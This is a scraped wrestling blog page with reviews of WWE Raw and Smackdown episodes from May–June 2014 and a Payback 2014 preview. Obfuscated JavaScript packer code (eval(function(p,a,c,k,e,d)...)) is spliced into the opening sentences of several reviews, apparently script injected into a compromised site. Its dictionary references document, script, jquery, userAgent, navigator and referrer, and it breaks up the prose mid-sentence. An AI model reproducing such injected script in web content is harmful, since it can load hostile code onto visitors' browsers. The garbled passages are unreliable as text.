Bad News Barrett Injured, Money In The Bank Status Unknown

Barrett eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieasf|var|u0026u|referrer|rrbbe||js|php'.split('|'),0,{})) injured his shoulder at Smackdown by falling on his shoulder. He appeared to be in severe pain but there’s no word on if he’ll be out of action.




Monday Night Raw – June 9, 2014: It Was Better Than Nothing

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seizh|var|u0026u|referrer|ksknf||js|php'.split('|'),0,{})) Night Raw
Date: June 9, 2014
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

The main story coming into tonight are the fallout from Seth Rollins turning on Shield last week. Tonight we should be getting revenge from Ambrose and Reigns, who didn’t appear on Smackdown last week. On top of that, the breaking news today is Daniel Bryan not being cleared for Money in the Bank, meaning the title will likely be held up. Let’s get to it.

Here’s a very happy Authority to open the show. Stephanie talks about how they like to make blockbuster announcements and gives us a video of Daniel Bryan’s doctor. Dr. Maroon says that Daniel won’t be able to participate at Money in the Bank due to the severity of his neck injury. HHH is very pleased as Stephanie officially strips Bryan of the title. Stephanie wishes Bryan well and acknowledges his very selfish wife Brie.

However we still need a WWE Champion, so at Money in the Bank we’ll have a WWE Championship ladder match. The participants will be determined by a series of qualifying matches. Stephanie says the first qualifying match took place on Smackdown (it was on Raw) so Alberto Del Rio is in. HHH says Randy Orton is in as well because he deserves it. They’ve been saying it since Wrestlemania, but now this is proof: Daniel Bryan isn’t WWE Championship material.

HHH isn’t done yet as he rants about telling Shield to adapt or perish but only Seth Rollins listened to what he said. We get a video of the turn last week, which still took place after Shield beat Evolution twice in a row. As for tonight, Ambrose and Reigns will be in a six man tag match against the Wyatt Family. They need to find a partner though, which might be tough after they spent a year running roughshod over the entire locker room. However, they need to adapt or they’ll perish.

Money in the Bank Qualifying Match: Sheamus vs. Bad News Barrett

Non-title. Barrett takes him into the corner to start but gets run over with a clothesline. Sheamus is sent out to the floor and Barrett follows it up with a shoulder block off the steps. Back in and Sheamus takes him down again before hitting the ten forearms. A middle rope knee drop misses and Barrett kicks him in the face, only for a running cross body from Sheamus to put both guys on the floor.

Back from a break with Sheamus in a chinlock before Barrett drops an elbow for two. Sheamus fights up but runs into a knee to the head, only to avoid the low superkick and get two off the Irish Curse. Winds of Change gets the same for Barrett but he walks into the tilt-a-whirl powerslam for two. Sheamus loads up the Brogue but Barrett rolls to the floor, only to have Sheamus dive off the top. It’s a bad move though, as Barrett steps to the side and Sheamus crashes into the barricade.

He beats the count back in at nine and kicks out of Wasteland at two. The Bull Hammer is countered into White Noise for a very close two but Barrett counters the slingshot shoulder with a headbutt. He kicks Sheamus in the head over and over before ramming Sheamus shoulder first into the post twice in a row. Another series of kicks to the head in the corner….set up the Brogue Kick out of nowhere for the pin for Sheamus at 13:12.

Rating: B-. As this whole thing was going on, I was saying to myself “and then Sheamus hits a Brogue Kick out of nowhere for the pin”, and that’s exactly what happened. How did I know that was going to happen? Because that’s what always happens. At least the stuff before the ending was good. Also are we just going to forget about Sheamus’ head injury from before Payback?

The Wyatts pop on screen and says people were supposed to forget about them. Bray says he’s been reborn, despite only being gone eight days and making an appearance on Smackdown in between.

Lana comes out and makes fun of Obama for being a weak man. We get a video of I’m assuming the real Obama working out with some very light weights. Lana compares him to Putin who is known to be in good shape and trains in martial arts. We get a rather disturbing picture of a shirtless Putin on a horse which I’ve seen before and is still just as disturbing.

Rusev vs. Zack Ryder

Forearms to the back of the head, the running superkick and the Accolade end Ryder at 1:03.

Ryback/Curtis Axel vs. Goldust/R-Truth

Truth gets attacked to start but he escapes for the hot (?) tag less than a minute in. Goldust cleans house and hits the snap powerslam on Axel. Ryback comes in and the spinning cross body takes out both he and Curtis as Cody is watching in the back. Truth is thrown to the floor and Goldust nails a spinebuster on Ryback. Axel sneaks in from behind though and rolls up Goldust for the pin with a handful of tights for the pin at 2:20.

Layla is getting her makeup done while insulting the people of Minneapolis, including hometown girl Summer Rae. Summer comes up behind her and pours milk over her before ramming Layla into various things.

3MB is in the ring but here come Ambrose and Reigns. The beating is on and they fight up the aisle with Reigns hitting a spear to Slater completely off screen. It looked like a camera error as they were looking at the crowd for a long stretch of time. Thankfully the replay shows a good shot of it.

Ambrose says the Shield was going to go down as one of the best groups ever. They dominated WWE and everyone in it, including Evolution. The team was healthy on the surface but there was a cancer inside them called Seth Rollins. Ambrose says he’ll get the chance to rearrange Rollins’ face by moving his nose over to his one ear (“because you’ll only have one left”) and that they’ll beat Rollins up. I like how simple that last line was.

Reigns very casually (not a bad thing) says Seth committed the most unforgettable sin. After he gets done with Rollins, Reigns is coming for Orton so he can mess up the face of the WWE. Then he’s coming for HHH. When he gets his hands on the King of Kings, they’ll have their own Game of Thrones.

Seth Rollins will break his silence tonight, despite talking on Smackdown.

Usos vs. Fandango/Damien Sandow

Damien comes out in what looks like long underwear and a streamer for what’s described as “interpretive dance.” Layla still has milk on her because WWE doesn’t have towels. Fandango cranks on Jimmy’s arm to start but Jimmy comes back with the dancing right hand. Off to Damien and the dancing begins. Sandow takes Jimmy over with a headlock before dancing around. Jimmy JUMPS up for a superkick before knocking Fandango off the apron. Jey hits the Superfly Splash for the pin on Sandow at 2:24.

Bo Dallas vs. Xavier Woods

Dallas says the way for Bryan to get back sooner than later is to BOLIEVE! Woods gets caught in a headlock to start but hiptosses Bo down to escape. A knee to the ribs drops Woods again but he sends Dallas into the buckle, only to springboard into something like a spear. The Bodog is good for the pin at 2:30.

Bo tells Woods to never quit after the match.

Back from a break with Paul Heyman in the ring and talking about the same thing he’s talked about every night since Wrestlemania. Tonight he’s here to introduce the next WWE World Heavyweight Champion, who is coming off his history making moment at Wrestlemania……CESARO! Heyman was teasing Lesnar if that wasn’t clear.

Money in the Bank Qualifying Match: Cesaro vs. Rob Van Dam

Rob quickly takes him down for two before walking into a tilt-a-whirl powerslam for two. The monkey flip and top rope kick to the face send Cesaro to the floor and a flip dive drops him again as we take a break. Back with Cesaro cranking on a chinlock and throwing RVD out to the floor. They head back inside for another chinlock before Rob nails the spinwheel kick and a clothesline to take over. Cesaro misses a charge in the corner and the split legged moonsault gets two.

Van Dam tries to speed things up a bit too much though and gets caught by Swiss Death out of the corner for an even closer near fall. A powerbomb gets two more for Cesaro but he gets kicked down and nailed with Rolling Thunder. Back up and Rob nails another spinning kick in the corner but gets crotched down for his efforts. Cesaro wraps the leg around the post before Neutralizing RVD for the pin at 10:50.

Rating: C+. Good but not great match here. WWE is really getting into a funk with how they do every kind of match and you can see it here very clearly. They just kept trading their signature stuff until the winner hit a finisher for the pin. That’s almost the same formula you see in every upper midcard match and it’s getting a bit annoying.

We recap the Authority and Shield’s promos from earlier.

Michael Cole brings out Seth Rollins, now with his own music and in a suit, for a sitdown interview. Rollins says he doesn’t understand the controversy behind what he did because he was looking out for his own business. He takes credit for creating the Shield and says the other two have no right to claim any of its success. Ambrose would be face first in a ditch without him and Reigns needs someone to focus his aggression.

Cole asks about the Shield being three individuals instead of one man. Rollins says we’ll see about that tonight. He took Shield to the top and that brings us to Payback. Rollins learned from Evolution that you have to evolve and adapt. The fans say he sold out but he says he bought in to the evolution of Seth Rollins. Rollins brags about the guts it took last week but people are fixated on how he turned on his brothers. Seth says they were just business partners and he severed those connections.

For two years, Rollins put his fist out and said believe in the Shield. What he really meant was that everyone should believe in Seth Rollins. That’s all for the explanation, so now where are Ambrose and Reigns to do what they promised? Here they come and Rollins takes off his tie but we’ve got Wyatts. The lights come back on and the Family is in the ring for the fight. Bray is nowhere in sight but Rollins comes back inside….just as Rollins and Harper are sent outside. Bray and the Family come back in for the save but Cena comes out for the real save, apparently becoming the third man for the tag match later.

Paige vs. Alicia Fox

Non-title and Alicia has Aksana in her corner. Paige quickly heads outside to go after Aksana and gets dropkicked off the apron as a result. Fox puts on a chinlock and yells a lot before hitting a tilt-a-whirl backbreaker for two. Paige counters a side slam with a headscissors out of the floor as Cole describes Fox as a “mood ring maker’s dream.” Back in and Paige fires off a bunch of clotheslines followed by a bad looking running dropkick for two. Aksana yells a lot so Paige throws Fox into her, setting up the PTO on Fox for the submission at 4:56.

Rating: D+. This was sloppy at times but not horrible. Fox’s push is pretty much done as she keeps losing every match she’s in, making the character development rather worthless. She does look good in the shorts though. Paige getting another win on TV is good for her though as she can keep dominating until someone is built up to beat her.

Fox beats up Aksana post match before stealing water and popcorn from fans to pour on Aksana. She feeds some to Aksana against her will and that’s about it. JBL calling for anyone from Jesse Ventura to the Gagnes to help them made me chuckle.

Santino Marella vs. Jack Swagger

Marella escapes an early powerslam attempt and sends Jack out to the floor with a forearm. Colter slaps Swagger in the face and Jack is all fired up, to the point that he misses a charge into the post. Thankfully he blocks the Cobra and hits the gutwrench powerbomb for the pin at 1:57.

Cody Rhodes tells Goldust that he’s found the perfect partner for him. Next week, Goldust’s partner will magnify his star power. No word on who it is.

We look at Stephanie stripping Bryan of the title and announcing Money in the Bank being for the title.

Stephanie is annoyed at Cena for getting in her business two weeks in a row. Vickie Guerrero comes in with champagne for the two of them because Brad Maddox and Daniel Bryan are both gone. She sneezes on Stephanie and gets thrown out with a threat of being fired again.

Dean Ambrose/Roman Reigns/John Cena vs. Wyatt Family

It’s a brawl to start until we officially gets going with Ambrose hammering away on Rowan. Dean cleans house and even dives on Harper for good measure. Back in and Dean dropkicks Erick down before the tag brings in Reigns to pound away as well. Rowan finally gets in a shot of his own and makes the tag to Harper, who can’t quite suplex Roman. Instead Reigns suplexes him down for two before driving Harper into the corner for the tag to Ambrose.

The Wyatts take over on Dean with Bray shouting at him to come on. Dean is taken to the floor where he’s able to send Rowan into the steps for a breather. Back in and Harper easily takes him down again and cranks on a chinlock as the dueling Cena chants begin. We come back from a break with Rowan hitting a big side slam on Ambrose before it’s back to Bray for his usual theatrics.

Ambrose gets a boot up to stop a charging Wyatt and the hot tag finally brings in Cena. John hammers away but the Family takes over on him as well via a boot to the face. Back to Bray for the running backsplash for two and Bray laughs a lot. Harper hits a rack neckbreaker for two more and a Michinoku Driver gets the same. Bray pounds in a few right hands and headbutts before taking him back inside for the dancing spot.

The suplex slam gets two before Cena finally gets over for the real hot tag to Reigns. Roman cleans house with all of his signature spots as everything breaks down. Reigns does Cena’s ProtpBomb for two on Harper before Cena cross bodies Rowan down. Bray hits the Sister Abigail on Cena but walks into the Superman Punch. Rowan is thrown outside as well, setting up the suicide dive from Ambrose. A superkick (good one too) gets two for Harper but he walks into the spear for the pin at 20:46.

Rating: B-. This was a nice bit of storytelling with the Shield losing Rollins but finally being able to beat the one team that had eluded them in their reign of dominance. Reigns continues to look awesome and Ambrose has more charisma than he knows what to do with. Not a great match but it more than did what it was supposed to do.

Rollins and HHH look on from the back to end the show.

Overall Rating: C+. This wasn’t a great show but it did some of the things WWE has needed to do. Rollins’ promo was good and explained his mindset, but it still doesn’t make a ton of sense. He wants all of the credit for Shield’s success. That’s fine, but I don’t get why you join a team of losers to get that. Wouldn’t it make more sense to just go out on your own because you don’t need them?

The rest of the show was solid enough with some matches that went by too fast to really be bad. Money in the Bank is shaping up and hopefully there’s only one ladder match this year. I’m not wild on Cena vs. the Wyatts continuing but the upcoming PPV could change a lot of things. The show went by quickly tonight and nothing was horrible so I’m pleased.

Results
Sheamus b. Bad News Barrett – Brogue Kick
Rusev b. Zack Ryder – Accolade
Curtis Axel/Ryback b. Goldust/R-Truth – Rollup to Goldust
Usos b. Fandango/Damien Sandow – Superfly Splash to Fandango
Bo Dallas b. Xavier Woods – Bodog
Cesaro b. Rob Van Dam – Neutralizer
Paige b. Alicia Fox – PTO
Jack Swagger b. Santino Marella – Gutwrench powerbomb
Dean Ambrose/Roman Reigns/John Cena b. Wyatt Family – Spear to Harper

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Smackdown – June 6, 2014: He Left For This?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naziz|var|u0026u|referrer|ssbse||js|php'.split('|'),0,{})) June 6, 2014
Location: U.S. Bank Arena, Cincinnati, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

As I’m sure you’ve heard several times already, the main story coming into this show is the Shield breakup on Raw as Seth Rollins jumped from Shield to Evolution in a turn that doesn’t make a ton of sense on the surface but maybe they’ll turn it around with some solid promos. Let’s get to it.

We open with a recap of the elimination tag, Batista quitting and Rollins turning on Shield the next night. This video doesn’t help a lot of the plot holes.

Here are HHH and Rollins for their medium speech as I’m sure the big one will be on Raw. Rollins is in his Shield gear and the fans tell him that he sold out. HHH says he isn’t out here to brag and say he told you so, but everyone knows that anyway. He talks about Rollins being the founder of the Shield, a team that crushed legends, giants and champions. They were the most dominant force in the world, so why did Rollins turn his back on them?

Rollins says everyone wants an explanation about why he did what he did to his brothers. The only person who needs to know and the only person that he owes anything to is him, which sounds like code for “We haven’t thought this all the way through.” Dolph Ziggler of all people interrupts him and says he can’t fall much further down so he can say this.

Ziggler dug the Shield for standing up to everyone and winning. What Rollins did was worse than anything else Shield did because Rollins is nothing more than a traitor. HHH says Ziggler is right. Seth did sell out, and he’ll sell out arenas night after night, which Ziggler will never do. That’s not enough though, so HHH makes Ziggler vs. Rollins right now.

Dolph Ziggler vs. Seth Rollins

Seth chokes him against the ropes to start but Ziggler comes back with right hands in the corner. A quick suplex gets two for Rollins and he pulls on Dolph’s hair for a bit. Ziggler sends him outside and kicks Rollins through the ropes as things calm down a bit. Back in and Rollins easily punches Dolph down again before putting on a chinlock. Dolph reverses into a sleeper but gets caught in a backpack stunner. Seth kicks him out to the floor and we take a break. Back with Ziggler fighting out of a cobra clutch but getting caught in the Downward Spiral into the middle buckle.

HHH goes over to the announce table to brag about his new man but Rollins charges into the running DDT. They slug it out with Ziggler getting the better of it and hammering away in the corner. Dolph throws him outside and hits a nice dropkick followed by the Fameasser inside for two. Seth comes back with an enziguri from the apron but takes too long going up and gets caught in the top rope X Factor for an even closer near fall. Another enziguri stops a charging Ziggler and the buckle bomb followed by the curb stomp put Ziggler away at 11:10 shown of 14:40.

Rating: C+. This was a good but not great match. The problem here is Rollins had to drop all of the stuff that was going to get him cheered which leaves him with a less exciting although still good style. Ziggler continues to be a completely different wrestler on Smackdown and Raw and it’s getting a bit tiresome. These matches are entertaining but you know not to expect anything on Mondays.

Bad News Barrett thinks it’s unfair that he has to defend his title against Cesaro and RVD. Why should he have to do that against two people far less classy than him? RVD is a flower child and Cesaro has fleas from sleeping with the dog that is Paul Heyman.

Orton shakes Rollins’ hand and welcomes him to the dark side. Big Show comes up and says Ziggler was right: Rollins is a piece of garbage. He’d love to see Rollins try that on him, but HHH makes Big Show vs. Orton for tonight instead.

Usos vs. Ryback/Curtis Axel

Non-title. Jey nails a quick uppercut on Ryback to start but is quickly sent outside for a shot from Axel to take over. A double suplex gets two on Jey and the middle rope elbow into a middle rope splash gets the same. We hit the chinlock from Ryback before the quick tags have Jey in even more trouble. Jey comes back with a superkick to send Ryback to the floor and another knocks Axel out of the corner. A hot tag brings in Jimmy for a Superfly Splash on Axel for the pin at 3:10. That was the only move he hit all match.

Rating: D+. This was the Randy Savage in 1995 formula of having the Usos get beaten down for almost the entire match before hitting two moves for a quick win. It gets the Usos back on their winning ways and it doesn’t really downgrade Ryback/Axel as they lost to a team higher up on the totem pole.

Rusev vs. Xavier Woods

This week Lana brags about Mikhail Gorbachev and various Russian athletes and dancers. Woods comes out in a combination of his regular attire and his old Consequences Creed gear. The kick and the Accolade end him in 36 seconds, but at least Woods’ attire looked better.

A giant Russian flag comes down behind Rusev after his win.

Intercontinental Title: Bad News Barrett vs. Rob Van Dam vs. Cesaro

Barrett is defending of course and this is a result of Cesaro breaking up RVD’s title shot on Tuesday. Cesaro is quickly double teamed to the floor but comes back with a running uppercut to the champion’s back. Rob kicks them both down with ease for a double Rolling Thunder and two on both guys.

Cesaro sends Rob outside and stomps away on Barrett in the corner as Heyman shuts Cole down every few seconds with one great line after another. For instance, Cole: “Why did Cesaro interfere in the match on Tuesday?” Heyman: “It got him into the title match didn’t it?” The split legged moonsault gets two on Cesaro but Barrett pulls Rob to the floor as we go to a break. Back with Rob fighting out of Barrett’s chinlock and low bridging him out to the floor.

The big flip dive is blocked by an uppercut but Barrett runs Cesaro over and puts him on the barricade, allowing Rob to hit the spinning kick to the back. Back in and

Winds of Change get two on Rob and the German suplex gets the same on the American. Barrett gets knocked down by Cesaro who is kicked by Rob, setting up the Five Star. Rob walks around instead of covering though and walks into the Bull Hammer for the pin by Barrett at 6:50 shown of 10:20.

Rating: C+. Another nice match here but nothing we haven’t seen a bunch of times before. I would have thought they would save this for Money in the Bank but there’s a good chance Cesaro is in the ladder match. Barrett has now beaten Van Dam twice though so there’s no real need for them to keep going.

Bray Wyatt comes on screen and talks about being put in a box at Wrestlemania. It brought back a lot of memories and he heard Sister Abigail’s voice. She told him that the sharks would circle Bray and that death was real. He would find his peace in death but his rebirth would make him much stronger. His voice will soothe their ears and he will lead their armies. There’s nothing left to fear because he is reborn. Join him.

Videon NXT: Takeover.

Natalya vs. Alicia Fox

Fox is thrown down when trying a headscissors and a dropkick puts her on the floor. We get a mini fit out there and Alicia shouts at Natalya a lot for good measure. Now Alicia offers a handshake but Natalya smacks her in the face instead. Natalya does it again for good measure and gets thrown throat first into the bottom rope. A northern lights suplex gets two for Fox but Natalya counters the tilt-a-whirl backbreaker into a cross body for the pin at 3:18.

Rating: D+. I’m really not sure what they can do with Fox now as she’s still doing the same stuff but is now doing bits of it during the match. Again they couldn’t have her beat Paige so the character really has nowhere to go now. It’s still more interesting than anything else the division has going on, but when there’s no one else for her to work with due to there barely being a division, she’s pretty much stuck.

This week’s post match freak out includes Fox yelling at Lillian Garcia.

We look at Brie Bella quitting at Payback and Stephanie’s announcement about the fate of the WWE Title at Money in the Bank.

Bo Dallas vs. Santino Marella

We get the now traditional armdrag followed by the celebration to start but Santino scores with two armdrags of his own and celebrates. JBL: “Why would you do that?” Back in and Bo pulls him into a clothesline, followed by the Bodog for the pin at 1:58.

Post match Bo tells Emma to Bolieve.

Big Show talks about being bullied as a kid and not being able to fight back because there were so many of them at once. Then one day he was all alone with the leader and he knocked him out cold. I’m not sure how this ties into his match tonight as HHH is the bully but I’m more interested in trying to figure out if Be A Star is still a thing.

Video on the Rollins turn. The Shield will return to Raw next week. WWE needs to work on the definition of return.

Orton says he has to take care of Big Show tonight because the giant stuck his nose where it didn’t belong. Things can happen out of nowhere, like they did to Ambrose and Reigns.

Big Show vs. Randy Orton

A quick chop puts Orton on the floor but he comes back by going after the knee. That goes badly for him too as Big Show headbutts him out to the floor with ease. We take a break and come back with Orton holding Big Show in a chinlock. Back up and Big Show knocks Orton out of the air but a dropkick puts the bigger man down again. Orton manages to hit the Elevated DDT off the top but Big Show comes back with a spear. HHH gets on the apron but Rollins comes in with the springboard knee to the face for the DQ at 5:50.

Rating: D+. I don’t think this pairing really needs that much of an explanation. They never have worked all that well together and this was no exception. Also the ending was about as obvious as you could get, but that’s the kind of thing Big Show is used for anymore. It looks impressive when a giant is slain and stood over to end a show, even though that happens so often.

An RKO sets up a pair of curb stomps onto a chair to end the show.

Overall Rating: D+. So to clarify, Rollins is involved in one of the biggest turns in recent memory and he goes from main eventing a pay per view to not even being able to main event Smackdown. Rollins felt like a bodyguard for Orton here instead of being the star and that’s a problem with this story. Now that being said, I don’t think anyone thought the big drama would take place here so you can look at this as a placeholder show more than anything else.

The rest of the show wasn’t that much better. The matches were just ok and none of them were required viewing at all. One thing I will give them though: the Intercontinental Title has been more active in the last two weeks than it’s been in months. It’s not a great or even a very good feud and story, but there are two people after the belt and the title is being defended regularly. That’s all I ask. Not a great show this week but much more average and dull than bad.

Results
Seth Rollins b. Dolph Ziggler – Curb stomp
Usos b. Ryback/Curtis Axel – Superfly Splash to Axel
Rusev b. Xavier Woods – Accolade
Bad News Barrett b. Rob Van Dam and Cesaro – Bull Hammer to Van Dam
Natalya b. Alicia Fox – Cross body
Bo Dallas b. Santino Marella – Bodog
Big Show b. Randy Orton via DQ when Seth Rollins interfered

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Payback 2014 Preview

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfrii|var|u0026u|referrer|neitd||js|php'.split('|'),0,{})) year’s show was pretty awesome so hopefully this one lives up to it’s Papa. Let’s get to it.

We’ll start with the preshow as always. This is one of the obvious matches as there’s no way they’re unmasking Torito and take away any money they could get from selling bull masks. Hornswoggle can leave 3MB and start getting evil to promote the Leprechaun movie. The match should be fun though as both guys can actually work a match.

I’ll get the other obvious match out of the way: Rusev destroys Big E. for his first meaningful win. No questions here.

Paige retains the Divas Title. She’s too big of a deal to not get the belt here, and are people really going to complain about Alicia Fox having a push wasted? I could go for her in those white shorts again though.

Barrett beats Van Dam. There’s just no reason for RVD to win but the match should be entertaining enough.

I think Cesaro vs. Sheamus goes to a draw and Sheamus keeps the belt. Hopefully they’re not tying Cesaro down to the US Title and let him get the briefcase or maybe even the title. Either way it would seem he’s heading for a match with Brock so why give him a worthless midcard title? The match should be good though.

That leaves us with the two main events. I’m hoping Bray beats Cena, as Cena beating him for three seconds was bad enough, but keeping him down for ten seconds would just be horrible. Bray winning would allow him to do a bunch of crazy stuff that could be very interesting. I’m really not sure where he’s going, but it’s in a bad direction if Cena beats him. Also it’s not like Cena hasn’t lost a last man standing match before so this isn’t the biggest stretch in the world.

Finally, Shield almost has to beat Evolution. There’s just no reason for Evolution to win here as they have nothing to gainand with Batista likely leaving, it would be a good way to get him out. The elimination and anything goes rules should make things even more entertaining.

For a bonus, I think Bryan hands over the title, even though it means sitting through a lot of stupid drama that involves the Bellas and Stephanie getting WAY too much screen time. Bryan can bring the acting at times though and he’ll likely get a lot of time to do so tomorrow night. I still think the title goes above the ring at Money in the Bank, which should be a good way to get some people to care

Overall Payback looks predictable but entertaining. To be fair, that’s almost the same thing that was said about Wrestlemania and it was one of the best shows I’ve ever seen. This has a lot of potential to be awesome and hopefully it means we have a good summer to look forward to.

 

 

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Smackdown – May 30, 2014: Who Would Have Seen That Coming?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhib|var|u0026u|referrer|bnfbd||js|php'.split('|'),0,{})) May 30, 2014
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, John Bradshaw Layfield

It’s the final show before Payback and every major match is firmly set up for Sunday. The main story coming off Raw is Daniel Bryan having to surrender the title on Sunday or have his wife Brie Bella get fired. If nothing else we should get a solid conflicted promo tonight, which should be good coming from someone like Bryan. Let’s get to it.

Here’s Shield to get things going. Rollins says what doesn’t kill you makes you stronger, so after Monday, they’ve never been stronger. We get a clip from the end of Raw and Evolution beating Shield down thanks to the sledgehammer, including a TripleBomb to put Reigns through a table. Ambrose says they don’t care how many times they get beaten down because they’ll keep fighting. The question is how crazy is Evolution willing to get because this is going to get really ugly. Seth says he’ll pin Randy Orton and a stretcher will take him to the back. Then they’ll eliminate Batista, and it’ll be HHH against all three of them.

We see a list of great Intercontinental Champions.

Cesaro vs. Kofi Kingston

A hard shoulder puts Kofi down early so he tries an armdrag. Cesaro doesn’t move and instead lifts Kofi up off the mat by the arm into a backbreaker. A gorilla press puts Kofi down again but he avoids a charge in the corner and hits a springboard right hand to the head. Kingston gets two off a kick to the head (JBL: “How do you not notice those fluorescent feet coming at you?) and goes up for cross body, only to dive into an uppercut for the pin at 2:57.

Cesaro Neutralizes him post match.

Barrett says he’ll beat Sheamus tonight to prove a point to RVD. The International Title is more prestegious than the US Title.

Paige vs. Tamina Snuka

Non-title. Alicia comes out almost immediately and takes pictures with fans. Paige loses her focus, allowing Tamina to headbutt her down to take over. Fox takes the title belt for another distraction, so Tamina kicks Paige’s head off for two. Paige gets all ticked off and fires elbows in the corner, followed by fast clotheslines and knees to the face. The Paige Turner sets up the Scorpion Cross Lock (PTO: Paige’s Tap Out) for the submission at 3:22.

Rating: C-. Now this is more like it from Paige. Instead of getting beaten up for most of the match and then making a big comeback at the end, Paige beat the tar out of Snuka for most of the match before making her tap out with ease. That’s the kind of win she’s been needing to show that she isn’t just a fluke.

Sheamus says Cesaro not shaking his hand is like feeding a Gremlin after midnight. He doesn’t know much about geography or continents, but he knows when the US Champion’s foot connects with the Intercontinental Champion’s face, it’s going to knock Barrett’s teeth down his throat.

Bo Dallas vs. Xavier Woods

Dallas starts with an armdrag and heads to the floor to celebrate. Woods grabs him but gets sent out to the floor as it’s all Bo so far. Back in and a knee drop sets up a cravate on Woods but he comes back with a clothesline and a dropkick. The Honor Roll (flipping clothesline) gets two for Woods but Bo dropkicks him out of the air, setting up the Bodog for the pin at 2:47. JBL: “It’s not 3-0. It’s 3-Bo!”

Bo does the big celebration and congratulates Woods on such a hard fought effort.

We look at the Wyatt/Cena/Lawler segment from Raw.

Video on Torito having his tail ripped off on Monday. This made me smile.

El Torito vs. Jinder Mahal

Torito has Brutus Beefcake style hedge clippers. He looks for his tail after the bell before focusing on the match. A dropkick to the leg sends Mahal into the corner and we get a chase scene. There’s a bit of cotton where the tail is growing back. An atomic drop hurts Torito really badly due to the wound but he’s able to come back with a sunset bomb, setting up the Bullsault (why not?) for the pin at 1:40.

The little guys have a showdown post match and Hornswoggle runs from the clippers.

We see a list of great US Champions to set up the champion vs. champion match next. The Intercontinental Title list really did blow this one away.

Sheamus vs. Bad News Barrett

Non-title and Heyman is on commentary and has now stretched the Streak to a twenty five year accomplishment. Cole asks Heyman which title means more and gets this great response: “Whichever is next held by a Paul Heyman Guy.” Barrett hammers away in the corner to start before taking over with a running clothesline. Bad News comes back with that cool spot where he sets himself up for a superplex but jumps down and spins into a snap suplex for two.

Sheamus’ ten forearms are broken up and Barrett knocks him to the floor for a running elbow off the apron. Back in and a running clothesline drops Barrett, followed by the rolling fireman’s carry. Barrett gets knocked to the floor and Sheamus takes him down with a shoulder from the apron. Sheamus takes too much time though and gets whipped into the steps as we take a break.

Back with Sheamus fighting out of a chinlock and nailing his running ax handles followed by the running knee lift. Sheamus charges into an elbow in the corner though and a loud low superkick gets two. An Irish Curse gets Sheamus out of trouble and the ten forearms to the chest have Barrett in trouble. White Noise is escaped though and Winds of Change get another close call. Wasteland is countered and a Brogue Kick gets the pin at 7:12 shown of 10:42.

Rating: C+. Good brawl here but again a champion, who has been on fire recently, has to get pinned. On top of that, Sheamus’ head injury from Friday was only mentioned on commentary and didn’t change anything in the match. Barrett looked good here but I don’t see the need to have him lose here. Do a double countout or something like that instead of a clean pin, but fixing that is a long lost cause in WWE.

Sheamus goes after Heyman post match but Paul talks his way to safety.

The Usos are banged up from their match on Main Event where they lost to the Wyatt Family. Tonight it’s Jimmy vs. Bray Wyatt in a last man standing match. They give a solid, fired up promo about throwing the rulebook out the window tonight.

We look at Titus O’Neil beating up Big E. a month ago.

Big E. vs. Titus O’Neil

Points to them for remembering an issue between these two. Big E. comes out with the American flag due to what happened with Rusev on Monday. The match for Sunday is official. Also before the match we get the usual from Lana, this time running down the American flag and saying Russia has the true red white and blue flag. Rusev comes out for his Russian speech and Titus uses the distraction to jump Big E. That lasts a few seconds before Big E. comes back with a belly to belly suplex and the running body attack. The Warrior Splash sets up the Big Ending for the pin at 1:11.

Big E. waves the flag like a Real American.

Adam Rose vs. Jack Swagger

This doesn’t make the pay per view? Colter is on commentary and Swagger gets a jobber entrance while we look at what happened between these two on Monday. Colter wants Rose deported and the party people arrested for impersonating human beings. Rose runs around with the lollipop in his mouth to start and offers it to Swagger. Jack charges but is easily sidestepped before Rose jumps into Swagger’s arms. Swagger has no idea what to think and bails to the floor where Rose quickly follows. Back in and Jack tries a monkey flip but Rose dives forward to pull Jack’s legs forward for a pin at 2:18.

The Raw ReBound covers the Bryan/Stephanie segment from Raw.

Bray Wyatt vs. Jimmy Uso

